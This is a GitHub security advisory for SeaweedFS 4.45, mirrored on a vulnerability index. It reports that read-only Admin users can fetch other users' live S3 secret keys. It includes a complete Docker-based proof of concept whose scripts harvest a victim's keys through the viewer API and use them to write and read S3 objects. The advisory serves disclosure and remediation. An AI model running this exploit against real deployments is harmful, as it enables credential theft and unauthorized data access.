GHSA-349H-HPCP-79P3
Read-only Admin users can retrieve live S3 credentials
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-349H-HPCP-79P3 divulgada · CVSS 8.7 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Read-only Admin users can retrieve live S3 credentials
Summary
SeaweedFS 4.45's Admin UI documents its read-only account as view-only and blocks its write requests, but the authenticated read routes return object-store users with plaintext access and secret keys. A read-only Admin user can retrieve another user's live S3 credential pair and use it directly against the S3 endpoint, converting view-only access into the victim identity's object-store authority.
Impact and affected scope
- Type: Broken access control / exposure of credentials
- Affected component: Admin UI user APIs and embedded S3 IAM integration
- Preconditions: The attacker has a configured read-only Admin account; Admin UI and S3 are reachable as intended by the deployment
- Verified revision: `79b87202136cebdaaa7db4d94eaa5915ad381276` on 2026-09-05
- Affected release range: Exact tested release `= 4.45`; broader history is pending maintainer confirmation
The disclosed key inherits the selected S3 identity's permissions. The reproduction uses a victim identity with Admin S3 actions and proves object creation and retrieval; it does not claim access beyond that identity's configured scope.
Technical details
The Admin router makes both roles pass `RequireAuthAPI`, while only mutating routes use `RequireWriteAccess`. The read-only-accessible `GET /api/users/{username}` path calls `GetObjectStoreUserDetails`, which copies every live `SecretKey` into its JSON response. The viewer can then sign ordinary S3 requests as the victim.
We checked current repository advisories, issues, pull requests, release history, relevant files and public CVE/GHSA records on 2026-09-05. GHSA-hgpf-8634-g44c https://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-hgpf-8634-g44c concerns S3Tables account authorization rather than Admin read-only-role credential exposure. We did not find a materially equivalent public record; absence from a bounded public search is not proof of novelty.
Relevant code:
- `weed/admin/handlers/admin_handlers.go:79-190` — registers authenticated user-list and user-detail routes without the write-role middleware
- `weed/admin/dash/middleware.go:83-110` — distinguishes authenticated access from write access
- `weed/admin/handlers/user_handlers.go:51-145` — serializes live access and secret keys
- `weed/admin/dash/admin_data.go:53-91` — defines credential-bearing response fields
Reproduction
Run this only against an authorized disposable Docker environment. Create a directory containing the following files and run `chmod +x run.sh verify.sh && ./run.sh`. The script checks out the exact tested revision, starts loopback-only Admin and S3 services, verifies that the viewer's Admin write is denied, reads the victim credentials through the viewer route, and proves that the returned pair authorizes a signed S3 write and read.
Dockerfile
FROM chrislusf/seaweedfs:4.45@sha256:fc9f76fa993ad69966ffeb2f65d0318fcae39c6f8e20cf68ef7b3a5cb97769e5
WORKDIR /app
RUN apk add --no-cache bash ca-certificates curl
COPY verify.sh /app/verify.sh
RUN chmod 0755 /app/verify.sh
ENTRYPOINT ["/app/verify.sh"]verify.sh
#!/usr/bin/env bash
set -euo pipefail
TARGET_REPO="/target-repo"
WORK_DIR="$(mktemp -d /tmp/poc-readonly-admin-runtime.XXXXXX)"
WEED_BIN="/usr/bin/weed"
MINI_LOG="${WORK_DIR}/mini.log"
ADMIN_URL="http://127.0.0.1:23646"
S3_URL="http://127.0.0.1:28333"
BUCKET="protected"
MINI_PID=""
cleanup() {
if [[ -n "${MINI_PID}" ]] && kill -0 "${MINI_PID}" 2>/dev/null; then
kill -INT "${MINI_PID}" 2>/dev/null || true
wait "${MINI_PID}" 2>/dev/null || true
fi
rm -rf -- "${WORK_DIR}"
}
trap cleanup EXIT
login() {
local username="$1"
local password="$2"
local cookie_jar="$3"
local login_html="${cookie_jar}.html"
curl -sS -c "${cookie_jar}" "${ADMIN_URL}/login" -o "${login_html}"
local csrf
csrf=$(sed -n 's/.*name="csrf_token"[^>]*value="\([^"]*\)".*/\1/p' "${login_html}" | head -n 1)
[[ ${#csrf} -eq 64 ]]
local status
status=$(curl -sS -o "${cookie_jar}.result" -w '%{http_code}' \
-b "${cookie_jar}" -c "${cookie_jar}" -X POST \
--data-urlencode "username=${username}" \
--data-urlencode "password=${password}" \
--data-urlencode "csrf_token=${csrf}" \
"${ADMIN_URL}/login")
[[ "${status}" = 303 ]]
}
test -f "${TARGET_REPO}/go.mod"
"${WEED_BIN}" version | grep -q '4.45 79b872021'
echo "[poc] starting authenticated Admin and S3 services"
env AWS_ACCESS_KEY_ID="bootstrap-key" \
AWS_SECRET_ACCESS_KEY="bootstrap-secret-value" \
S3_BUCKET="${BUCKET}" \
"${WEED_BIN}" mini \
-dir="${WORK_DIR}/data" \
-ip=127.0.0.1 \
-ip.bind=127.0.0.1 \
-master.port=29333 \
-master.port.grpc=29334 \
-volume.port=28080 \
-volume.port.grpc=28081 \
-filer.port=28888 \
-filer.port.grpc=28889 \
-s3.port=28333 \
-s3.port.grpc=28334 \
-s3.port.iceberg=0 \
-s3.port.lance=0 \
-webdav=false \
-admin.ui=true \
-admin.port=23646 \
-admin.user=rootadmin \
-admin.password=root-password \
-admin.readOnlyUser=auditor \
-admin.readOnlyPassword=auditor-password \
-metricsPort=0 >"${MINI_LOG}" 2>&1 &
MINI_PID=$!
for _ in $(seq 1 120); do
if curl -sS -o /dev/null "${ADMIN_URL}/login"; then
break
fi
if ! kill -0 "${MINI_PID}" 2>/dev/null; then
echo "[poc] mini exited before readiness"
tail -n 100 "${MINI_LOG}"
exit 1
fi
sleep 1
done
login rootadmin root-password "${WORK_DIR}/admin.cookies"
create_status=$(curl -sS -o "${WORK_DIR}/create-user.json" -w '%{http_code}' \
-b "${WORK_DIR}/admin.cookies" -X POST -H 'Content-Type: application/json' \
--data '{"username":"victim","actions":["Admin"],"generate_key":true}' \
"${ADMIN_URL}/api/users")
[[ "${create_status}" = 201 ]]
login auditor auditor-password "${WORK_DIR}/readonly.cookies"
denied_write=$(curl -sS -o "${WORK_DIR}/denied-write.json" -w '%{http_code}' \
-b "${WORK_DIR}/readonly.cookies" -X POST -H 'Content-Type: application/json' \
--data '{"username":"must-not-exist","actions":["Read"]}' \
"${ADMIN_URL}/api/users")
[[ "${denied_write}" = 403 ]]
detail_status=$(curl -sS -o "${WORK_DIR}/victim-detail.json" -w '%{http_code}' \
-b "${WORK_DIR}/readonly.cookies" "${ADMIN_URL}/api/users/victim")
[[ "${detail_status}" = 200 ]]
stolen_key=$(sed -n 's/.*"access_key":"\([^"]*\)".*/\1/p' "${WORK_DIR}/victim-detail.json")
stolen_secret=$(sed -n 's/.*"secret_key":"\([^"]*\)".*/\1/p' "${WORK_DIR}/victim-detail.json")
[[ -n "${stolen_key}" ]]
[[ -n "${stolen_secret}" ]]
stolen_put=000
for _ in $(seq 1 30); do
stolen_put=$(curl -sS -o "${WORK_DIR}/stolen-put.body" -w '%{http_code}' \
--aws-sigv4 'aws:amz:us-east-1:s3' --user "${stolen_key}:${stolen_secret}" \
-X PUT --data-binary 'written-with-disclosed-secret' \
"${S3_URL}/${BUCKET}/compromised.txt")
[[ "${stolen_put}" = 200 ]] && break
sleep 1
done
[[ "${stolen_put}" = 200 ]]
stolen_get=$(curl -sS -o "${WORK_DIR}/stolen-get.body" -w '%{http_code}' \
--aws-sigv4 'aws:amz:us-east-1:s3' --user "${stolen_key}:${stolen_secret}" \
"${S3_URL}/${BUCKET}/compromised.txt")
[[ "${stolen_get}" = 200 ]]
[[ "$(cat "${WORK_DIR}/stolen-get.body")" = 'written-with-disclosed-secret' ]]
anonymous_get=$(curl -sS -o "${WORK_DIR}/anonymous-get.body" -w '%{http_code}' \
"${S3_URL}/${BUCKET}/compromised.txt")
[[ "${anonymous_get}" = 403 ]]
printf '[poc] readonly_write=%s readonly_secret_read=%s stolen_key_length=%s stolen_secret_length=%s stolen_s3_put=%s stolen_s3_get=%s anonymous_s3_get=%s\n' \
"${denied_write}" "${detail_status}" "${#stolen_key}" "${#stolen_secret}" "${stolen_put}" "${stolen_get}" "${anonymous_get}"
echo 'Verification passed: read-only Admin disclosed a live S3 secret that authorized object mutation'run.sh
#!/usr/bin/env bash
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
FINDING_DIR="$(cd "${SCRIPT_DIR}/.." && pwd)"
SESSION_DIR="$(cd "${FINDING_DIR}/.." && pwd)"
CASE_ID="$(basename "${SESSION_DIR}" | tr '[:upper:]' '[:lower:]')"
FINDING_NAME="$(basename "${FINDING_DIR}" | tr '[:upper:]' '[:lower:]')"
IMAGE_TAG="poc-${CASE_ID}-${FINDING_NAME}"
TARGET_REPO_URL="https://github.com/seaweedfs/seaweedfs.git"
TARGET_REF="79b87202136cebdaaa7db4d94eaa5915ad381276"
WORK_DIR="$(mktemp -d "${SCRIPT_DIR}/.poc-readonly-admin.XXXXXX")"
TARGET_REPO_DIR="${WORK_DIR}/repo"
cleanup() {
rm -rf -- "${WORK_DIR}"
}
trap cleanup EXIT
command -v git >/dev/null
command -v docker >/dev/null
echo "[poc] cloning ${TARGET_REPO_URL} at ${TARGET_REF}"
git clone --filter=blob:none --no-checkout "${TARGET_REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --detach "${TARGET_REF}"
test "$(git -C "${TARGET_REPO_DIR}" rev-parse HEAD)" = "${TARGET_REF}"
echo "[poc] building reproduction image ${IMAGE_TAG}"
docker build --pull -t "${IMAGE_TAG}" "${SCRIPT_DIR}"
echo "[poc] running read-only Admin credential disclosure verification"
docker run --rm \
-v "${TARGET_REPO_DIR}:/target-repo:ro" \
"${IMAGE_TAG}"Expected: A read-only Admin session should never receive reusable object-store secrets and should remain unable to act with a higher-privilege S3 identity.
Observed: The read-only session received a nonempty victim access/secret pair. Its direct Admin write returned HTTP 403, while the disclosed pair successfully wrote and read the test object; the anonymous S3 control returned HTTP 403.
Suggested remediation
Do not serialize secret keys on read-only routes. Return only non-sensitive key identifiers or redacted values, and require an explicit privileged rotation/reissue operation for any credential material. Add a regression test proving that read-only Admin responses never contain a reusable secret.
Severity
CVSS v4.0: 8.7 (High) — Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`
This assessment is preliminary and pending maintainer confirmation.
Disclosure context and attribution
AI-assisted analysis helped surface this issue. We independently reproduced and reviewed it in an isolated environment and are reporting it privately.
Reported by the University of Sydney security research team:
- Ziyue Wang (@Zyy0530)
https://github.com/Zyy0530 - Liyi Zhou (@lzhou1110)
https://github.com/lzhou1110 - Strick Sheng (@Str1ckl4nd)
https://github.com/Str1ckl4nd - Maurice Ng (@mauriceng98)
https://github.com/mauriceng98 - Chenchen Yu (@7thParkk)
https://github.com/7thParkk
We are happy to answer questions, provide additional verification details, or validate a candidate patch.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Versiones afectadas
4.45Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Gogithub.com/seaweedfs/seaweedfs |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-349h-hpcp-79p3Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
